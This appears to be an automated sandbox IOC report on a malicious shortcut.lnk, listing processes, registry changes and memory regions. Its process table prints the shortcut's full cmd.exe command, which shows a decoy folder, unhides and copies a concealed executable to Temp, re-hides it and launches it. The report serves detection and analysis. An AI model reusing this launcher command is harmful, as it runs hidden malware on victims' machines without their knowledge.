IOC Report
shortcut.lnk

loading gif

Processes

Path
Cmdline
Malicious
C:\Windows\System32\cmd.exe
C:\windows\system32\cmd.exe" /c "C:\Windows\explorer.exe %cd%.DataStorage & attrib -s -h %cd%dBuXlYk.exe & xcopy /F /S /Q /H /R /Y %cd%dBuXlYk.exe C:\Users\user\AppData\Local\Temp\zHyIh\ & attrib +s +h %cd%dBuXlYk.exe & start C:\Users\user\AppData\Local\Temp\zHyIh\dBuXlYk.exe & exit
malicious
C:\Windows\System32\attrib.exe
attrib -s -h C:\Users\user\DesktopdBuXlYk.exe
malicious
C:\Windows\System32\attrib.exe
attrib +s +h C:\Users\user\DesktopdBuXlYk.exe
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\explorer.exe
C:\Windows\explorer.exe C:\Users\user\Desktop.DataStorage
C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
C:\Windows\System32\xcopy.exe
xcopy /F /S /Q /H /R /Y C:\Users\user\DesktopdBuXlYk.exe C:\Users\user\AppData\Local\Temp\zHyIh\

Registry

Path
Value
Malicious
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\f1\52C64B7E
@%SystemRoot%\System32\ndfapi.dll,-40001
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2
3
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\3
NodeSlot
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\3
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\Shell
SniffedFolderType
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\f1\52C64B7E
@C:\Program Files\Common Files\Microsoft Shared\Office16\oregres.dll,-123
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\f1\52C64B7E
@C:\Program Files\Common Files\Microsoft Shared\Office16\oregres.dll,-101
HKEY_CURRENT_USER_Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Windows.Photos_2018.18011.15918.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d3d24082732a3\55e3c056
LanguageList
HKEY_CURRENT_USER_Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ZuneMusic_10.17112.19011.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d3d23fc5a2b9a7\55e3c056
LanguageList
HKEY_CURRENT_USER_Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Windows.Photos_2018.18011.15918.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d3d24082732a3\55e3c056
@{microsoft.windows.photos_2018.18011.15918.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.windows.photos/files/assets/photoslogoextensions.png}
HKEY_CURRENT_USER_Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ZuneMusic_10.17112.19011.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d3d23fc5a2b9a7\55e3c056
@{microsoft.zunemusic_10.17112.19011.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.zunemusic/files/assets/fileextension.png}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF}\iexplore
Count
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF}\iexplore
Time
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
NodeSlots
There are 5 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
2539F0A0000
trusted library allocation
page read and write
C74537A000
stack
page read and write
42F000
heap
page read and write
232E000
stack
page read and write
118000
stack
page read and write
C7452FE000
stack
page read and write
3B59000
heap
page read and write
62F1000
heap
page read and write
5D2C000
stack
page read and write
6330000
heap
page read and write
79D5000
unkown
page readonly
7FF883957000
unkown
page readonly
445000
heap
page read and write
7FF883750000
unkown
page readonly
7AB7000
unkown
page readonly
1EDB0065000
heap
page read and write
7FF8838E5000
unkown
page read and write
7AB9000
unkown
page readonly
2C04000
heap
page read and write
7B30000
heap
page read and write
79AC000
unkown
page readonly
2539F310000
trusted library allocation
page read and write
62D4000
heap
page read and write
F20000
heap
page read and write
C744F9B000
stack
page read and write
5330000
heap
page read and write
3B8A000
heap
page read and write
539A000
heap
page read and write
1EDAFE6B000
heap
page read and write
531E000
heap
page read and write
626B000
heap
page read and write
1EDAFD20000
heap
page read and write
62DE000
heap
page read and write
1335000
heap
page read and write
DE05EFF000
stack
page read and write
448000
heap
page read and write
448000
heap
page read and write
7852000
unkown
page readonly
7A13000
unkown
page readonly
52E8000
heap
page read and write
5378000
heap
page read and write
7A65000
unkown
page readonly
6D0000
heap
page read and write
DE05BCC000
stack
page read and write
7FF8838F3000
unkown
page readonly
5246000
heap
page read and write
61B2000
heap
page read and write
2539F030000
trusted library allocation
page read and write
1EDAFE69000
heap
page read and write
FB2000
heap
page read and write
3047000
stack
page read and write
72DB000
unkown
page readonly
F92000
heap
page read and write
2539F040000
trusted library allocation
page read and write
DE05E7F000
stack
page read and write
2539F0B0000
trusted library allocation
page read and write
791C000
unkown
page readonly
507A000
heap
page read and write
79A5000
unkown
page readonly
61FE000
heap
page read and write
6AB0000
trusted library allocation
page read and write
64E000
stack
page read and write
7ACC000
unkown
page readonly
7AA3000
unkown
page readonly
448000
heap
page read and write
2BD8000
stack
page read and write
2539E270000
trusted library allocation
page read and write
79E3000
unkown
page readonly
5336000
heap
page read and write
400000
heap
page read and write
3B20000
heap
page read and write
2539F320000
trusted library allocation
page read and write
4FF0000
heap
page read and write
1270000
heap
page read and write
2539E370000
heap
page read and write
408000
heap
page read and write
2539E540000
trusted library allocation
page read and write
30C3000
stack
page read and write
2539F2F0000
trusted library allocation
page read and write
2539E339000
heap
page read and write
62F7000
heap
page read and write
60000
heap
page read and write
F28000
heap
page read and write
7788000
unkown
page readonly
78BA000
unkown
page readonly
1EDB0060000
heap
page read and write
77CF000
unkown
page readonly
3B71000
heap
page read and write
1330000
heap
page read and write
61E0000
heap
page read and write
6CD000
stack
page read and write
FDB000
heap
page read and write
2539E3C7000
heap
page read and write
430000
heap
page read and write
4FA0000
heap
page read and write
80AC000
stack
page read and write
521C000
heap
page read and write
7A8E000
unkown
page readonly
6324000
heap
page read and write
81EB000
stack
page read and write
522E000
heap
page read and write
812B000
stack
page read and write
2539E2F0000
heap
page read and write
51A0000
heap
page read and write
2539E3C7000
heap
page read and write
6250000
heap
page read and write
5B4B000
stack
page read and write
76E7000
unkown
page readonly
2539E260000
heap
page read and write
761D000
unkown
page readonly
C7453F9000
stack
page read and write
1CC000
stack
page read and write
1EDAFE70000
heap
page read and write
4FF3000
heap
page read and write
23DE000
stack
page read and write
7A52000
unkown
page readonly
3CA0000
heap
page read and write
2FCF000
stack
page read and write
7A3C000
unkown
page readonly
6F0000
heap
page read and write
72F3000
unkown
page readonly
6F5000
heap
page read and write
2539E3B7000
heap
page read and write
5AC7000
stack
page read and write
3B81000
heap
page read and write
61CB000
heap
page read and write
6950000
heap
page read and write
6226000
heap
page read and write
FD2000
heap
page read and write
7983000
unkown
page readonly
5A47000
stack
page read and write
7FF8838E3000
unkown
page read and write
69A7000
heap
page read and write
7844000
unkown
page readonly
7AB0000
unkown
page readonly
2C00000
heap
page read and write
2539E378000
heap
page read and write
2539E2D0000
heap
page read and write
C74527E000
stack
page read and write
7FF8838EA000
unkown
page read and write
2539F300000
heap
page readonly
2539E3C7000
heap
page read and write
7FF8838EE000
unkown
page read and write
2539E330000
heap
page read and write
69A0000
heap
page read and write
1F3E000
stack
page read and write
444000
heap
page read and write
6230000
heap
page read and write
7945000
unkown
page readonly
7FF883839000
unkown
page readonly
EB7000
stack
page read and write
61BC000
heap
page read and write
7AE2000
unkown
page readonly
79FE000
unkown
page readonly
633A000
heap
page read and write
77B7000
unkown
page readonly
7AD9000
unkown
page readonly
7761000
unkown
page readonly
589D000
stack
page read and write
FAD000
heap
page read and write
C74557F000
stack
page read and write
1004000
heap
page read and write
629A000
heap
page read and write
72B0000
unkown
page readonly
796E000
unkown
page readonly
FE2000
heap
page read and write
34CF000
stack
page read and write
535A000
heap
page read and write
621C000
heap
page read and write
632D000
heap
page read and write
779E000
unkown
page readonly
42B000
heap
page read and write
521A000
heap
page read and write
F80000
heap
page read and write
C7454F9000
stack
page read and write
C74547F000
stack
page read and write
7FF8838EC000
unkown
page read and write
2B58000
stack
page read and write
100F000
heap
page read and write
1F60000
heap
page read and write
7FF8838ED000
unkown
page write copy
7FF88394F000
unkown
page readonly
77A5000
unkown
page readonly
624E000
heap
page read and write
E00000
heap
page read and write
1EDAFF80000
heap
page read and write
2539E335000
heap
page read and write
7FF883751000
unkown
page execute read
5314000
heap
page read and write
50A0000
heap
page read and write
624C000
heap
page read and write
50A8000
heap
page read and write
7A9C000
unkown
page readonly
1D0000
heap
page read and write
72DE000
unkown
page readonly
2539E3BF000
heap
page read and write
77BF000
unkown
page readonly
2539F370000
trusted library allocation
page read and write
7AC5000
unkown
page readonly
3320000
heap
page read and write
1EDAFF60000
heap
page read and write
1EDAFE60000
heap
page read and write
7FF88390A000
unkown
page readonly
EF0000
heap
page read and write
72E2000
unkown
page readonly
There are 195 hidden memdumps, click here to show them.